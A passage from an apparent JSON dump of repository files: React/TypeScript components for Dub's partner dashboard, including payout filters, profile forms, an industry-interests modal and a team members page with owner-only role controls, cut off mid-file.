    "content": "import usePartnerPayoutsCount from \"@/lib/swr/use-partner-payouts-count\";\nimport useProgramEnrollments from \"@/lib/swr/use-program-enrollments\";\nimport { PayoutsCount } from \"@/lib/types\";\nimport { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { CircleDotted, GridIcon } from \"@dub/ui/icons\";\nimport { cn, nFormatter, OG_AVATAR_URL } from \"@dub/utils\";\nimport { useCallback, useMemo } from \"react\";\n\nexport function usePayoutFilters() {\n  const { searchParamsObj, queryParams } = useRouterStuff();\n\n  const { payoutsCount } = usePartnerPayoutsCount<PayoutsCount[]>({\n    groupBy: \"status\",\n  });\n\n  const { programEnrollments } = useProgramEnrollments();\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"programId\",\n        icon: GridIcon,\n        label: \"Program\",\n        options:\n          programEnrollments?.map(({ program }) => {\n            return {\n              value: program.id,\n              label: program.name,\n              icon: (\n                <img\n                  src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n                  alt={`${program.name} image`}\n                  className=\"size-4 rounded-full\"\n                />\n              ),\n            };\n          }) ?? null,\n      },\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options: Object.entries(PayoutStatusBadges).map(\n          ([value, { label }]) => {\n            const Icon = PayoutStatusBadges[value].icon;\n            const count = payoutsCount?.find((p) => p.status === value)?.count;\n\n            return {\n              value,\n              label,\n              icon: (\n                <Icon\n                  className={cn(\n                    PayoutStatusBadges[value].className,\n                    \"size-4 bg-transparent\",\n                  )}\n                />\n              ),\n              right: nFormatter(count || 0, { full: true }),\n            };\n          },\n        ),\n      },\n    ],\n    [payoutsCount, programEnrollments],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { programId, status } = searchParamsObj;\n    return [\n      ...(programId ? [{ key: \"programId\", value: programId }] : []),\n      ...(status ? [{ key: \"status\", value: status }] : []),\n    ];\n  }, [searchParamsObj.status, searchParamsObj.programId]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: {\n          [key]: value,\n        },\n        del: \"page\",\n      }),\n    [queryParams],\n  );\n\n  const onRemove = useCallback(\n    (key: string) =>\n      queryParams({\n        del: [key, \"page\"],\n      }),\n    [queryParams],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\"status\", \"programId\"],\n      }),\n    [queryParams],\n  );\n\n  const isFiltered = useMemo(() => activeFilters.length > 0, [activeFilters]);\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/about-you-form.tsx",
    "content": "import { updatePartnerProfileAction } from \"@/lib/actions/partners/update-partner-profile\";\nimport { hasPermission } from \"@/lib/auth/partner-users/partner-user-permissions\";\nimport {\n  industryInterests,\n  monthlyTrafficAmounts,\n} from \"@/lib/partners/partner-profile\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { MAX_PARTNER_DESCRIPTION_LENGTH } from \"@/lib/zod/schemas/partners\";\nimport { MaxCharactersCounter } from \"@/ui/shared/max-characters-counter\";\nimport { IndustryInterest, MonthlyTraffic } from \"@dub/prisma/client\";\nimport { Button, RadioGroup, RadioGroupItem, useEnterSubmit } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect, useState } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport ReactTextareaAutosize from \"react-textarea-autosize\";\nimport { toast } from \"sonner\";\nimport { IndustryInterestsModal } from \"./industry-interests-modal\";\nimport { SettingsRow } from \"./settings-row\";\n\ntype AboutYouFormData = {\n  description: string;\n  industryInterests: IndustryInterest[];\n  monthlyTraffic: MonthlyTraffic;\n};\n\nexport function AboutYouForm({ partner }: { partner?: PartnerProps }) {\n  const disabled = partner\n    ? !hasPermission(partner.role, \"partner_profile.update\")\n    : true;\n  const {\n    register,\n    control,\n    handleSubmit,\n    setError,\n    getValues,\n    reset,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<AboutYouFormData>({\n    defaultValues: {\n      description: partner?.description ?? undefined,\n      industryInterests: partner?.industryInterests ?? [],\n      monthlyTraffic: partner?.monthlyTraffic ?? undefined,\n    },\n  });\n\n  // Reset form dirty state after submit\n  useEffect(() => {\n    if (isSubmitSuccessful)\n      reset(getValues(), { keepValues: true, keepDirty: false });\n  }, [isSubmitSuccessful, reset, getValues]);\n\n  const { handleKeyDown } = useEnterSubmit();\n\n  const { executeAsync } = useAction(updatePartnerProfileAction, {\n    onSuccess: () => {\n      toast.success(\"Your profile has been updated.\");\n      mutatePrefix(\"/api/partner-profile\");\n    },\n    onError({ error }) {\n      setError(\"root.serverError\", {\n        message: error.serverError,\n      });\n\n      toast.error(error.serverError);\n    },\n  });\n\n  const [showIndustryInterestsModal, setShowIndustryInterestsModal] =\n    useState(false);\n\n  return (\n    <div className=\"border-border-subtle divide-border-subtle flex flex-col divide-y rounded-lg border\">\n      <div className=\"px-6 py-8\">\n        <h3 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n          About you and your expertise\n        </h3>\n        <p className=\"text-content-subtle text-sm font-normal leading-5\">\n          Help programs get to know you, your background, interests, and what\n          makes you a great partner.\n        </p>\n      </div>\n\n      <form\n        onSubmit={handleSubmit(async (data) => {\n          await executeAsync(data);\n        })}\n      >\n        <SettingsRow\n          id=\"about\"\n          heading=\"About you\"\n          description=\"Share who you are, what you do, and who your audience is. A strong bio helps you stand out and get accepted into more programs.\"\n        >\n          <div>\n            <ReactTextareaAutosize\n              className={cn(\n                \"block w-full rounded-md focus:outline-none sm:text-sm\",\n                disabled && \"cursor-not-allowed bg-neutral-50 text-neutral-400\",\n                errors.description\n                  ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                  : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n              )}\n              placeholder=\"Tell us about the kind of content you create – e.g. tech, travel, fashion, etc.\"\n              minRows={3}\n              maxRows={10}\n              maxLength={MAX_PARTNER_DESCRIPTION_LENGTH}\n              disabled={disabled}\n              onKeyDown={handleKeyDown}\n              {...register(\"description\")}\n            />\n            <MaxCharactersCounter\n              name=\"description\"\n              maxLength={MAX_PARTNER_DESCRIPTION_LENGTH}\n              control={control}\n            />\n          </div>\n        </SettingsRow>\n\n        <SettingsRow\n          id=\"interests\"\n          heading=\"Industry interests\"\n          description=\"Add the industries you care and post content about. This helps programs in those areas discover you.\"\n        >\n          <Controller\n            control={control}\n            name=\"industryInterests\"\n            render={({ field }) => (\n              <>\n                <IndustryInterestsModal\n                  show={showIndustryInterestsModal}\n                  setShow={setShowIndustryInterestsModal}\n                  interests={field.value}\n                  onSave={(interests) => field.onChange(interests)}\n                />\n                <div className=\"mb-4 flex flex-wrap items-center gap-3\">\n                  {field.value.length > 0\n                    ? industryInterests\n                        .filter(({ id }) => field.value.includes(id))\n                        .map((interest) => (\n                          <div\n                            key={interest.id}\n                            className={cn(\n                              \"ring-border-subtle flex select-none items-center gap-2.5 rounded-full bg-white px-4 py-3 ring-1\",\n                            )}\n                          >\n                            <interest.icon className=\"size-4 text-neutral-600\" />\n                            <span className=\"text-content-emphasis text-sm font-medium\">\n                              {interest.label}\n                            </span>\n                          </div>\n                        ))\n                    : [...Array(3)].map((_, idx) => (\n                        <div\n                          key={idx}\n                          className={cn(\n                            \"border-border-subtle h-11 w-32 rounded-full border border-dashed bg-white\",\n                          )}\n                        />\n                      ))}\n                </div>\n                <Button\n                  text={`${field.value.length ? \"Edit\" : \"Add\"} interests`}\n                  onClick={() =>\n                    !disabled && setShowIndustryInterestsModal(true)\n                  }\n                  disabled={disabled}\n                  variant=\"secondary\"\n                  className=\"h-8 w-fit rounded-lg px-3\"\n                />\n              </>\n            )}\n          />\n        </SettingsRow>\n\n        <SettingsRow\n          id=\"traffic\"\n          heading=\"Estimated monthly traffic\"\n          description=\"Including websites, newsletters, and social accounts.\"\n        >\n          <Controller\n            control={control}\n            name=\"monthlyTraffic\"\n            render={({ field }) => (\n              <RadioGroup\n                value={field.value}\n                onValueChange={(value) => !disabled && field.onChange(value)}\n                disabled={disabled}\n                className=\"flex flex-col gap-4\"\n              >\n                {monthlyTrafficAmounts.map(({ id, label }) => (\n                  <label key={id} className=\"flex items-center gap-2.5\">\n                    <RadioGroupItem\n                      value={id}\n                      className=\"text-content-emphasis border-border-default\"\n                    />\n                    <span className=\"text-content-emphasis text-sm font-medium\">\n                      {label}\n                    </span>\n                  </label>\n                ))}\n              </RadioGroup>\n            )}\n          />\n        </SettingsRow>\n\n        <div className=\"flex items-center justify-end rounded-b-lg border-t border-neutral-200 bg-neutral-50 px-6 py-4\">\n          <Button\n            text=\"Save changes\"\n            className=\"h-8 w-fit px-2.5\"\n            disabled={disabled}\n            loading={isSubmitting}\n          />\n        </div>\n      </form>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/how-you-work-form.tsx",
    "content": "import { updatePartnerProfileAction } from \"@/lib/actions/partners/update-partner-profile\";\nimport { hasPermission } from \"@/lib/auth/partner-users/partner-user-permissions\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { Button, Check2 } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { SettingsRow } from \"./settings-row\";\n\nimport {\n  preferredEarningStructures,\n  salesChannels,\n} from \"@/lib/partners/partner-profile\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { PreferredEarningStructure, SalesChannel } from \"@dub/prisma/client\";\nimport { cn } from \"@dub/utils\";\n\ntype HowYouWorkFormData = {\n  preferredEarningStructures: PreferredEarningStructure[];\n  salesChannels: SalesChannel[];\n};\n\nexport function HowYouWorkForm({ partner }: { partner?: PartnerProps }) {\n  const disabled = partner\n    ? !hasPermission(partner.role, \"partner_profile.update\")\n    : true;\n  const {\n    control,\n    handleSubmit,\n    setError,\n    getValues,\n    reset,\n    formState: { isSubmitting, isSubmitSuccessful },\n  } = useForm<HowYouWorkFormData>({\n    defaultValues: {\n      preferredEarningStructures: partner?.preferredEarningStructures ?? [],\n      salesChannels: partner?.salesChannels ?? [],\n    },\n  });\n\n  // Reset form dirty state after submit\n  useEffect(() => {\n    if (isSubmitSuccessful)\n      reset(getValues(), { keepValues: true, keepDirty: false });\n  }, [isSubmitSuccessful, reset, getValues]);\n\n  const { executeAsync } = useAction(updatePartnerProfileAction, {\n    onSuccess: () => {\n      toast.success(\"Your profile has been updated.\");\n      mutatePrefix(\"/api/partner-profile\");\n    },\n    onError({ error }) {\n      setError(\"root.serverError\", {\n        message: error.serverError,\n      });\n\n      toast.error(error.serverError);\n    },\n  });\n\n  return (\n    <div className=\"border-border-subtle divide-border-subtle flex flex-col divide-y rounded-lg border\">\n      <div className=\"px-6 py-8\">\n        <h3 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n          How you work\n        </h3>\n        <p className=\"text-content-subtle text-sm font-normal leading-5\">\n          Share how you prefer to earn and promote products to help programs\n          understand your style of partnership.\n        </p>\n      </div>\n\n      <form\n        onSubmit={handleSubmit(async (data) => {\n          await executeAsync(data);\n        })}\n      >\n        <SettingsRow\n          id=\"earning-structures\"\n          heading=\"Preferred earning structure\"\n          description=\"Choose how you'd like to be rewarded. Select all that apply.\"\n        >\n          <div className=\"@container/panel\">\n            <div className=\"@sm/panel:grid-cols-2 grid grid-cols-1 gap-4\">\n              <Controller\n                control={control}\n                name=\"preferredEarningStructures\"\n                render={({ field }) => (\n                  <>\n                    {preferredEarningStructures.map((earningStructure) => (\n                      <label\n                        key={earningStructure.id}\n                        className={cn(\n                          \"ring-border-subtle hover:bg-bg-muted flex cursor-pointer select-none items-center gap-2.5 rounded-full bg-white px-4 py-3 ring-1 transition-all duration-100 ease-out\",\n                          disabled && \"cursor-not-allowed opacity-50\",\n                        )}\n                      >\n                        <input\n                          type=\"checkbox\"\n                          className=\"sr-only\"\n                          disabled={disabled}\n                          checked={field.value.includes(earningStructure.id)}\n                          onChange={(e) =>\n                            !disabled &&\n                            (e.target.checked\n                              ? field.onChange([\n                                  ...field.value,\n                                  earningStructure.id,\n                                ])\n                              : field.onChange(\n                                  field.value.filter(\n                                    (id) => id !== earningStructure.id,\n                                  ),\n                                ))\n                          }\n                        />\n                        <div\n                          className={cn(\n                            \"bg-content-inverted border-border-default flex size-4 items-center justify-center rounded border\",\n                            field.value.includes(earningStructure.id) &&\n                              \"bg-content-emphasis border-content-emphasis\",\n                          )}\n                        >\n                          <Check2\n                            className={cn(\n                              \"text-content-inverted size-3\",\n                              !field.value.includes(earningStructure.id) &&\n                                \"opacity-0\",\n                            )}\n                          />\n                        </div>\n                        <span className=\"text-content-emphasis text-sm font-medium\">\n                          {earningStructure.label}\n                        </span>\n                      </label>\n                    ))}\n                  </>\n                )}\n              />\n            </div>\n          </div>\n        </SettingsRow>\n\n        <SettingsRow\n          id=\"channels\"\n          heading=\"Sales channels\"\n          description=\"Where you promote products and links. Select all that apply.\"\n        >\n          <div className=\"@container/panel\">\n            <div className=\"@sm/panel:grid-cols-2 grid grid-cols-1 gap-4\">\n              <Controller\n                control={control}\n                name=\"salesChannels\"\n                render={({ field }) => (\n                  <>\n                    {salesChannels.map((salesChannel) => (\n                      <label\n                        key={salesChannel.id}\n                        className={cn(\n                          \"ring-border-subtle hover:bg-bg-muted flex cursor-pointer select-none items-center gap-2.5 rounded-full bg-white px-4 py-3 ring-1 transition-all duration-100 ease-out\",\n                          disabled && \"cursor-not-allowed opacity-50\",\n                        )}\n                      >\n                        <input\n                          type=\"checkbox\"\n                          className=\"sr-only\"\n                          disabled={disabled}\n                          checked={field.value.includes(salesChannel.id)}\n                          onChange={(e) =>\n                            !disabled &&\n                            (e.target.checked\n                              ? field.onChange([\n                                  ...field.value,\n                                  salesChannel.id,\n                                ])\n                              : field.onChange(\n                                  field.value.filter(\n                                    (id) => id !== salesChannel.id,\n                                  ),\n                                ))\n                          }\n                        />\n                        <div\n                          className={cn(\n                            \"bg-content-inverted border-border-default flex size-4 items-center justify-center rounded border\",\n                            field.value.includes(salesChannel.id) &&\n                              \"bg-content-emphasis border-content-emphasis\",\n                          )}\n                        >\n                          <Check2\n                            className={cn(\n                              \"text-content-inverted size-3\",\n                              !field.value.includes(salesChannel.id) &&\n                                \"opacity-0\",\n                            )}\n                          />\n                        </div>\n                        <span className=\"text-content-emphasis text-sm font-medium\">\n                          {salesChannel.label}\n                        </span>\n                      </label>\n                    ))}\n                  </>\n                )}\n              />\n            </div>\n          </div>\n        </SettingsRow>\n\n        <div className=\"flex items-center justify-end rounded-b-lg border-t border-neutral-200 bg-neutral-50 px-6 py-4\">\n          <Button\n            text=\"Save changes\"\n            className=\"h-8 w-fit px-2.5\"\n            disabled={disabled}\n            loading={isSubmitting}\n          />\n        </div>\n      </form>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/industry-interests-modal.tsx",
    "content": "import { industryInterests } from \"@/lib/partners/partner-profile\";\nimport { MAX_PARTNER_INDUSTRY_INTERESTS } from \"@/lib/zod/schemas/partners\";\nimport { IndustryInterest } from \"@dub/prisma/client\";\nimport { Button, Modal, useScrollProgress } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useRef, useState } from \"react\";\n\ntype IndustryInterestsModalProps = {\n  show: boolean;\n  setShow: Dispatch<SetStateAction<boolean>>;\n  interests: IndustryInterest[];\n  onSave: (interests: IndustryInterest[]) => void;\n};\n\nexport function IndustryInterestsModal({\n  show,\n  setShow,\n  ...rest\n}: IndustryInterestsModalProps) {\n  return (\n    <Modal showModal={show} setShowModal={setShow} className=\"max-w-lg\">\n      <IndustryInterestsModalInner show={show} setShow={setShow} {...rest} />\n    </Modal>\n  );\n}\n\nfunction IndustryInterestsModalInner({\n  show,\n  setShow,\n  interests,\n  onSave,\n}: {\n  show: boolean;\n  setShow: Dispatch<SetStateAction<boolean>>;\n  interests: IndustryInterest[];\n  onSave: (interests: IndustryInterest[]) => void;\n}) {\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  const [selectedInterests, setSelectedInterests] =\n    useState<IndustryInterest[]>(interests);\n\n  const isMaxSelected =\n    selectedInterests.length >= MAX_PARTNER_INDUSTRY_INTERESTS;\n\n  return (\n    <div>\n      <div className=\"p-4 pb-2 sm:p-6 sm:pb-4\">\n        <h4 className=\"text-content-emphasis text-lg font-semibold\">\n          Add industry Interests\n        </h4>\n        <p className=\"text-content-subtle text-sm\">\n          Add the industries you care and post content about.\n        </p>\n      </div>\n      <div className=\"relative\">\n        <div\n          ref={scrollRef}\n          onScroll={updateScrollProgress}\n          className=\"scrollbar-hide flex max-h-[calc(100dvh-200px)] flex-wrap items-center gap-3 overflow-y-auto px-4 pb-8 pt-2 sm:px-6\"\n        >\n          {industryInterests.map((interest) => (\n            <label\n              key={interest.id}\n              className={cn(\n                \"ring-border-subtle flex cursor-pointer select-none items-center gap-2.5 rounded-full bg-white px-4 py-3 ring-1 transition-all duration-100 ease-out\",\n                selectedInterests.includes(interest.id)\n                  ? \"bg-bg-muted ring-2 ring-black\"\n                  : isMaxSelected\n                    ? \"cursor-not-allowed opacity-50\"\n                    : \"cursor-pointer\",\n              )}\n            >\n              <input\n                type=\"checkbox\"\n                className=\"sr-only\"\n                disabled={\n                  isMaxSelected && !selectedInterests.includes(interest.id)\n                }\n                checked={selectedInterests.includes(interest.id)}\n                onChange={(e) =>\n                  e.target.checked\n                    ? setSelectedInterests([...selectedInterests, interest.id])\n                    : setSelectedInterests(\n                        selectedInterests.filter((id) => id !== interest.id),\n                      )\n                }\n              />\n              <interest.icon className=\"size-4 text-neutral-600\" />\n              <span className=\"text-content-emphasis text-sm font-medium\">\n                {interest.label}\n              </span>\n            </label>\n          ))}\n        </div>\n\n        {/* Scroll fade */}\n        <div\n          className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full rounded-b-lg bg-gradient-to-t from-white sm:block\"\n          style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n        />\n      </div>\n\n      <div className=\"border-border-subtle flex items-center justify-between gap-4 border-t px-4 py-5 sm:px-6\">\n        <div>\n          <p className=\"text-content-subtle text-sm tabular-nums\">\n            {selectedInterests.length}/{MAX_PARTNER_INDUSTRY_INTERESTS} selected\n          </p>\n        </div>\n        <div className=\"flex items-center gap-2\">\n          <Button\n            text=\"Cancel\"\n            variant=\"secondary\"\n            className=\"h-8 w-fit px-3\"\n            onClick={() => setShow(false)}\n          />\n          <Button\n            text=\"Save interests\"\n            variant=\"primary\"\n            className=\"h-8 w-fit px-3\"\n            onClick={() => {\n              onSave(selectedInterests);\n              setShow(false);\n            }}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/members/page-client.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { PartnerUserProps } from \"@/lib/types\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { useInvitePartnerUserModal } from \"@/ui/modals/invite-partner-user-modal\";\nimport { useRemovePartnerUserModal } from \"@/ui/modals/remove-partner-user-modal\";\nimport { useUpdatePartnerUserModal } from \"@/ui/modals/update-partner-user-modal\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { PartnerRole } from \"@dub/prisma/client\";\nimport {\n  Button,\n  Filter,\n  Popover,\n  Table,\n  useKeyboardShortcut,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport {\n  CircleCheck,\n  CircleDotted,\n  Dots,\n  EnvelopeArrowRight,\n  Icon,\n  User,\n  UserCrown,\n} from \"@dub/ui/icons\";\nimport { cn, fetcher, timeAgo } from \"@dub/utils\";\nimport { ColumnDef, Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { UserMinus, UserPlus } from \"lucide-react\";\nimport { useSession } from \"next-auth/react\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport useSWR from \"swr\";\n\nexport function ProfileMembersPageClient() {\n  const { partner } = usePartnerProfile();\n  const { data: session } = useSession();\n  const defaultPartnerId = session?.user?.[\"defaultPartnerId\"];\n\n  const { queryParams, searchParams } = useRouterStuff();\n  const { pagination, setPagination } = usePagination();\n\n  const status = searchParams.get(\"status\") as \"active\" | \"invited\" | null;\n  const role = searchParams.get(\"role\") as PartnerRole | null;\n  const search = searchParams.get(\"search\");\n\n  const {\n    data: users,\n    error,\n    isLoading: loading,\n  } = useSWR<PartnerUserProps[]>(\n    defaultPartnerId &&\n      `/api/partner-profile/${status === \"invited\" ? \"invites\" : \"users\"}?${new URLSearchParams(\n        {\n          ...(search && { search }),\n          ...(role && { role }),\n        } as Record<string, any>,\n      ).toString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { data: invitesForCount } = useSWR<PartnerUserProps[]>(\n    defaultPartnerId ? \"/api/partner-profile/invites\" : null,\n    fetcher,\n  );\n  const inviteCount = invitesForCount?.length ?? 0;\n\n  const isCurrentUserOwner = partner?.role === \"owner\";\n\n  const { InvitePartnerUserModal, setShowInvitePartnerUserModal } =\n    useInvitePartnerUserModal();\n\n  // Combined filter configuration\n  const filters = useMemo(\n    () => [\n      {\n        key: \"role\",\n        icon: UserPlus,\n        label: \"Role\",\n        options: [\n          { value: \"owner\", label: \"Owner\", icon: UserCrown },\n          { value: \"member\", label: \"Member\", icon: User },\n        ],\n      },\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options: [\n          {\n            value: \"active\",\n            label: \"Active\",\n            icon: (\n              <CircleCheck className=\"size-4 bg-green-100 bg-transparent text-green-600\" />\n            ),\n          },\n          {\n            value: \"invited\",\n            label: \"Invited\",\n            icon: (\n              <EnvelopeArrowRight className=\"size-4 bg-blue-100 bg-transparent text-blue-600\" />\n            ),\n          },\n        ],\n      },\n    ],\n    [],\n  );\n\n  // Active filters state\n  const activeFilters = useMemo(() => {\n    const filters: { key: string; value: any }[] = [];\n    if (status) {\n      filters.push({ key: \"status\", value: status });\n    }\n    if (role) {\n      filters.push({ key: \"role\", value: role });\n    }\n    return filters;\n  }, [status, role]);\n\n  useKeyboardShortcut(\"m\", () => setShowInvitePartnerUserModal(true));\n\n  const columns = useMemo<ColumnDef<PartnerUserProps>[]>(\n    () => [\n      {\n        id: \"name\",\n        header: \"Name\",\n        accessorFn: (row) => row.name || row.email,\n        minSize: 360,\n        size: 870,\n        maxSize: 900,\n        cell: ({ row }) => {\n          const user = row.original;\n\n          return (\n            <div className=\"flex items-center space-x-3\">\n              <UserAvatar user={user} />\n              <div className=\"flex flex-col\">\n                <h3 className=\"text-sm font-medium\">\n                  {user.name || user.email}\n                </h3>\n                <p className=\"text-xs text-neutral-500\">\n                  {status === \"invited\"\n                    ? `Invited ${timeAgo(user.createdAt)}`\n                    : user.email}\n                </p>\n              </div>\n            </div>\n          );\n        },\n      },\n      {\n        id: \"role\",\n        header: \"Role\",\n        accessorFn: (row) => row.role,\n        minSize: 120,\n        size: 150,\n        maxSize: 200,\n        cell: ({ row }) => (\n          <RoleCell\n            user={row.original}\n            isCurrentUser={session?.user?.email === row.original.email}\n            isCurrentUserOwner={isCurrentUserOwner}\n          />\n        ),\n      },\n      {\n        id: \"menu\",\n        enableHiding: false,\n        header: () => null,\n        cell: ({ row }) => (\n          <RowMenuButton row={row} isCurrentUserOwner={isCurrentUserOwner} />\n        ),\n      },\n    ],\n    [session?.user?.email, isCurrentUserOwner, status],\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: users || [],\n    columns,\n    pagination,\n    onPaginationChange: setPagination,\n    getRowId: (row) => `${row.id || row.email}-${status}-${role || \"all\"}`,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) =>\n      `${status === \"invited\" ? \"invite\" : \"member\"}${p ? \"s\" : \"\"}`,\n    rowCount: users?.length || 0,\n    loading,\n    error: error ? \"Failed to load members\" : undefined,\n  });\n\n  const onSelect = (key: string, value: any) => {\n    queryParams({\n      set: {\n        [key]: value,\n      },\n    });\n  };\n\n  const onRemove = (key: string) => {\n    queryParams({\n      del: [key, \"page\"],\n    });\n  };\n\n  const onRemoveAll = () => {\n    queryParams({\n      del: [\"role\", \"status\", \"page\"],\n    });\n  };\n\n  return (\n    <>\n      <InvitePartnerUserModal />\n      <PageContent\n        title=\"Members\"\n        titleInfo={{\n          title:\n            \"Learn how to invite team members, assign roles, and manage access to your partner profile.\",\n          href: \"https://dub.co/help/article/managing-partner-teams\",\n        }}\n        controls={\n          isCurrentUserOwner && (\n            <Button\n              text=\"Invite member\"\n              className=\"h-9 w-fit\"\n              shortcut=\"M\"\n              onClick={() => setShowInvitePartnerUserModal(true)}\n            />\n          )\n        }\n      >\n        <PageWidthWrapper className=\"mb-20 flex flex-col gap-2\">\n          <div className=\"flex justify-between gap-3\">\n            <div className=\"flex items-center gap-2\">\n              <Filter.Select\n                filters={filters}\n                activeFilters={activeFilters}\n                onSelect={onSelect}\n                onRemove={onRemove}\n              />\n              {inviteCount && status !== \"invited\" ? (\n                <Button\n                  text=\"View pending invites\"\n                  variant=\"secondary\"\n                  className=\"w-fit\"\n                  right={\n                    <span\n                      className={cn(\n                        \"rounded-full px-1.5 py-0.5 text-xs font-medium\",\n                        \"bg-neutral-200 text-neutral-700\",\n                      )}\n                    >\n                      {inviteCount}\n                    </span>\n                  }\n                  onClick={() =>\n                    queryParams({ set: { status: \"invited\" }, del: \"page\" })\n                  }\n                />\n              ) : undefined}\n            </div>\n            <SearchBoxPersisted\n              placeholder=\"Search by name or email\"\n              inputClassName=\"w-full md:w-[20rem]\"\n            />\n          </div>\n          <Filter.List\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onRemoveAll={onRemoveAll}\n          />\n          <Table {...tableProps} table={table} />\n        </PageWidthWrapper>\n      </PageContent>\n    </>\n  );\n}\n\nfunction RoleCell({\n  user,\n  isCurrentUser,\n  isCurrentUserOwner,\n}: {\n  user: PartnerUserProps;\n  isCurrentUser: boolean;\n  isCurrentUserOwner: boolean;\n}) {\n  const [role, setRole] = useState<PartnerRole>(user.role);\n\n  useEffect(() => {\n    setRole(user.role);\n  }, [user.role]);\n\n  const { UpdateUserModal, setShowUpdateUserModal } = useUpdatePartnerUserModal(\n    {\n      user,\n      role,\n    },\n  );\n\n  const isDisabled =\n    !isCurrentUserOwner || // Only owners can change roles\n    isCurrentUser; // Can't change your own role\n\n  return (\n    <>\n      <UpdateUserModal />\n      <select\n        className={cn(\n          \"rounded-md border border-neutral-200 text-xs text-neutral-500 focus:border-neutral-600 focus:ring-neutral-600\",\n          {\n            \"cursor-not-allowed bg-neutral-100\": isDisabled,\n          },\n        )}\n        value={role}\n        disabled={isDisabled}\n        onChange={(e) => {\n          const newRole = e.target.value as PartnerRole;\n          setRole(newRole);\n          setShowUpdateUserModal(true);\n        }}\n        title={\n          !isCurrentUserOwner\n            ? \"Only owners can change member roles\"\n            : isCurrentUser\n              ? \"You cannot change your own role\"\n              : undefined\n        }\n      >\n        <option value=\"owner\">Owner</option>\n        <option value=\"member\">Member</option>\n      </select>\n    </>\n  );\n}\n\nfunction RowMenuButton({\n  row,\n  isCurrentUserOwner,\n}: {\n  row: Row<PartnerUserProps>;\n  isCurrentUserOwner: boolean;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n  const { data: session } = useSession();\n\n  const user = row.original;\n  const searchParams = useSearchParams();\n  const isInvite = searchParams.get(\"status\") === \"invited\";\n\n  const { RemovePartnerUserModal, setShowRemovePartnerUserModal } =\n    useRemovePartnerUserModal({\n      user,\n    });\n\n  const isCurrentUser = session?.user?.email === user.email;\n\n  // Only show menu if user is owner OR they're removing themselves\n  if (!isCurrentUserOwner && !isCurrentUser) {\n    return null;\n  }\n\n  return (\n    <>\n      <RemovePartnerUserModal />\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"focus:outline-none\">\n            <Command.List className=\"w-screen text-sm focus-visible:outline-none sm:w-auto sm:min-w-[200px]\">\n              <Command.Group className=\"grid gap-px p-1.5\">\n                <MenuItem\n                  icon={UserMinus}\n                  label={\n                    isCurrentUser\n                      ? \"Leave partner team\"\n                      : isInvite\n                        ? \"Revoke invitation\"\n                        : \"Remove member\"\n                  }\n                  variant=\"danger\"\n                  onSelect={() => {\n                    setShowRemovePartnerUserModal(true);\n                    setIsOpen(false);\n                  }}\n                />\n              </Command.Group>\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"h-8 whitespace-nowrap px-2 disabled:border-transparent disabled:bg-transparent\"\n          variant=\"outline\"\n          icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n\nfunction MenuItem({\n  icon: IconComp,\n  label,\n  onSelect,\n  variant = 